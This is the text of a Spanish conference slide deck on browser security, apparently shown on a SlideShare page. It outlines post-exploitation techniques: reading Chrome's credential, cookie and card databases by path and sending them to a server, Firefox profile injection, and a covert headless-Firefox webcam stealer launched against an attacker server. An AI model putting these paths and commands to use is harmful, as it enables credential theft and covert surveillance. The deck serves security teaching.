SlideShare una empresa de Scribd logo
1 de 51
Descargar para leer sin conexión
Seguridad
en
Navegadores Web
#bitup2018
@j0moz4
QUÉ ES ESTO...
Seguridad en navegadores web (chrome & firefox)
Algunas técnicas ofensivas (PoCs) “Post-Explotación”
Sencillos scripts en python y javascript
Puntos de partida para desarrollar Hi!Bro
ZeuS Web Browser Trojan
- Se detectó por primera vez en el año 2007 en EE. UU.
- Afectó a los navegadores IE y Firefox (Windows)
- 3.6 millones de ordenadores infectados (2009)
- Puerta de entrada a otros troyanos.
ZeuS Web Browser Trojan
Principales características de ZeuS
Keystroke logging
- Consiste en almacenar
un registro con las
pulsaciones físicas de un
teclado.
Form grabbing
- Es un tipo de malware, que
trabaja recuperando las
credenciales de
autorización y registros de
un formulario web.
MALICIOUS EXTENSIONS
MALICIOUS EXTENSIONS
MALICIOUS EXTENSIONS
MALICIOUS EXTENSIONS
Browser as a target
Browser
Stealer
- Cookies
- Password
- Postdata
- Credit Cards
- Session tokens
BROWSER STEALER
BROWSER STEALER
BROWSERS LOCAL DATA (IN CHROME ON WIN MACHINE)
● %APPDATA%LocalGoogleChromeUser DataDefaultLogin Data"
VICTIM
Run payload.exe...
BROWSER STEALER
BROWSERS LOCAL DATA (IN CHROME ON WIN MACHINE)
● %APPDATA%LocalGoogleChromeUser DataDefaultLogin Data"
● %APPDATA%LocalGoogleChromeUser DataDefaultCookies"
● %APPDATA%LocalGoogleChromeUser DataDefaultWeb Data"
○ Autocomplete, bank cards, browser searches
● %APPDATA%LocalGoogleChromeUser DataDefaultHistory"
○ browsing and downloads history
VICTIM
Run payload.exe...
BROWSER STEALER
VICTI
Run payload.exe...
SERVER logins, history, cookies, cc’s...
(base64Encoded)
VICTIM
BROWSERS LOCAL DATA (IN CHROME ON WIN MACHINE)
● %APPDATA%LocalGoogleChromeUser DataDefaultLogin Data"
● %APPDATA%LocalGoogleChromeUser DataDefaultCookies"
● %APPDATA%LocalGoogleChromeUser DataDefaultWeb Data"
○ Autocomplete, bank cards, browser searches
● %APPDATA%LocalGoogleChromeUser DataDefaultHistory"
○ browsing and downloads history
Profile
Hijacking
&
Injection
Profile Hijacking
Todo lo que tal se guarda en un perfil %AppData%RoamingMozillaFirefoxProfiles
● firefox.exe -createProfile “<profName profPath>”
● firefox.exe -P
VICTIM
Run payload.exe...
Profile Hijacking
VICTI
Run payload.exe...
SERVER GZIP Profiles Folders
VICTIM
Todo lo que tal se guarda en un perfil %AppData%RoamingMozillaFirefoxProfiles
● firefox.exe -createProfile “<profName profPath>”
● firefox.exe -P
Profile Hijacking
VICTI
Run payload.exe...
SERVER GZIP Profiles Folders
VICTIM
Todo lo que tal se guarda en un perfil %AppData%RoamingMozillaFirefoxProfiles
● firefox.exe -createProfile “<profName profPath>”
● firefox.exe -P
Unzip and create the new profile
SERVER
Profile Injection
%AppData%RoamingMozillaFirefoxprofiles.ini
VICTIM
Run payload.exe...
Profile Injection
%AppData%RoamingMozillaFirefoxprofiles.ini
VICTIM
Run payload.exe...
Profile Injection
%AppData%RoamingMozillaFirefoxprofiles.ini
VICTIM
Run payload.exe...
Profile Injection
%AppData%RoamingMozillaFirefoxprofiles.ini
VICTI
Run payload.exe...
VICTI
Run payload.exe...
SERVER Inject fake profiles.ini
(no need permissions)
VICTIM
Profile Injection
%AppData%RoamingMozillaFirefoxprofiles.ini
prefs.js ( about:config )
VICTI
Run payload.exe...Run payload.exe...
SERVER Inject fake profiles.ini
(no need permissions)
VICTIM
Profile Injection
%AppData%RoamingMozillaFirefoxprofiles.ini
prefs.js ( about:config )
VICTIM
Run payload.exe...
VICTIM
Run payload.exe...
SERVER Inject fake profiles.ini
(no need permissions)
VICTIM
Profile Injection
%AppData%RoamingMozillaFirefoxprofiles.ini
prefs.js ( about:config )
VICTIM
Run payload.exe...
VICTIM
Run payload.exe...
SERVER Inject fake profiles.ini
(no need permissions)
VICTIM
Headless Browser
HEADLESS BROWSER
● Navegador web sin una interfaz gráfica
● Se pueden tomar screenshots.
● “No aparece en el administrador de tareas”
HEADLESS BROWSER
● Navegador web sin una interfaz gráfica
● Se pueden tomar screenshots.
● “No aparece en el administrador de tareas”
DEMO
ABOUT EXTENSIONS...
ABOUT EXTENSIONS...
Malicious extensions
Extensions can:
● Inject JAVASCRIPT in browsing
● Modify DOM
● Execute JS in background
ABOUT EXTENSIONS...
extension.crx (zip)
ABOUT EXTENSIONS...
extension.crx (zip)
ABOUT EXTENSIONS...
extension.crx (zip)
ABOUT EXTENSIONS...
extension.crx (zip)
ABOUT EXTENSIONS...
extension.crx (zip)
chrome.exe --load-extension=”Extension Path”
chrome.exe --load-extension=”Extension Path”
“http://<webpage>/”
The wonderful world of client side hacking
The wonderful world of client side hacking
HIDDEN WEBCAM STEALER WITH HEADLESS BROWSER
The wonderful world of client side hacking
HIDDEN WEBCAM STEALER WITH HEADLESS BROWSER
PROFILE INJECTION + HEADLESS FIREFOX + JAVASCRIPT
The wonderful world of client side hacking
HIDDEN WEBCAM STEALER WITH HEADLESS BROWSER
PROFILE INJECTION + HEADLESS FIREFOX + JAVASCRIPT
The wonderful world of client side hacking
HIDDEN WEBCAM STEALER WITH HEADLESS BROWSER
PROFILE INJECTION + HEADLESS FIREFOX + JAVASCRIPT
MEDIA.NAVIGATOR.PERMISSION.DISABLED
The wonderful world of client side hacking
HIDDEN WEBCAM STEALER WITH HEADLESS BROWSER
PROFILE INJECTION + HEADLESS FIREFOX + JAVASCRIPT
Run payload.exe...
VICTIM
profile injection;
firefox.exe -headless “http://recserver/”
CHROME GPO’s
C:WindowsPolicyDefinitions
C:WindowsPolicyDefinitionses-ES
CHROME GPO’s
CHROME GPO’s
CHROME GPO’s
CHROME GPO’s
CHROME GPO’s
CONCLUSIONES
- Hacking browser (Profile Hijacking)
- Client-Side Hacking (MITB)
Muchas más cosas:
- Master chrome file
- Selenium
- Headless remote debug port
- Mucho javascript por aprender...
GRACIAS :-)

Más contenido relacionado

Similar a Seguridad en navegadores web #bitup2018

Negligencia vs desconocimiento_cp
Negligencia vs desconocimiento_cpNegligencia vs desconocimiento_cp
Negligencia vs desconocimiento_cpcampus party
 
Internet de las cosas
Internet de las cosasInternet de las cosas
Internet de las cosastico2llorente
 
Internet de las cosas
Internet de las cosasInternet de las cosas
Internet de las cosastico2llorente
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)kernelinux
 
seguridad informatica
seguridad informaticaseguridad informatica
seguridad informaticaAdriana Gil
 
Peligros Internet Menores
Peligros Internet MenoresPeligros Internet Menores
Peligros Internet MenoresMaite Pelacho
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesNextel S.A.
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesPablo Garaizar
 
Seguridad informática y de ti
Seguridad informática y de tiSeguridad informática y de ti
Seguridad informática y de tiMario Nizama
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Webacksec
 
Seguridad informática. 15 12 (2)
Seguridad informática. 15 12 (2)Seguridad informática. 15 12 (2)
Seguridad informática. 15 12 (2)Jorge Millan
 

Similar a Seguridad en navegadores web #bitup2018 (20)

Troyanos
TroyanosTroyanos
Troyanos
 
Negligencia vs desconocimiento_cp
Negligencia vs desconocimiento_cpNegligencia vs desconocimiento_cp
Negligencia vs desconocimiento_cp
 
Internet de las cosas
Internet de las cosasInternet de las cosas
Internet de las cosas
 
Internet de las cosas
Internet de las cosasInternet de las cosas
Internet de las cosas
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
 
Troyanos
TroyanosTroyanos
Troyanos
 
Pdf2
Pdf2Pdf2
Pdf2
 
Malware
MalwareMalware
Malware
 
seguridad informatica
seguridad informaticaseguridad informatica
seguridad informatica
 
Virus informaticos
Virus informaticosVirus informaticos
Virus informaticos
 
ANTIVIRUS
ANTIVIRUSANTIVIRUS
ANTIVIRUS
 
Peligros Internet Menores
Peligros Internet MenoresPeligros Internet Menores
Peligros Internet Menores
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
 
F:\Spyware
F:\SpywareF:\Spyware
F:\Spyware
 
Virus informatico
Virus informaticoVirus informatico
Virus informatico
 
Seguridad informática y de ti
Seguridad informática y de tiSeguridad informática y de ti
Seguridad informática y de ti
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Web
 
Seguridad informática. 15 12 (2)
Seguridad informática. 15 12 (2)Seguridad informática. 15 12 (2)
Seguridad informática. 15 12 (2)
 
Seguridad WEB - Principios básicos.
Seguridad WEB - Principios básicos.Seguridad WEB - Principios básicos.
Seguridad WEB - Principios básicos.
 

Último

trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdfIsabellaMontaomurill
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024GiovanniJavierHidalg
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxpabonheidy28
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfsoporteupcology
 
KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesFundación YOD YOD
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafiosFundación YOD YOD
 
Hernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxHernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxJOSEMANUELHERNANDEZH11
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudianteAndreaHuertas24
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIAWilbisVega
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 

Último (16)

trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdf
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docx
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdf
 
KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento Protégeles
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafios
 
Hernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxHernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptx
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 

Seguridad en navegadores web #bitup2018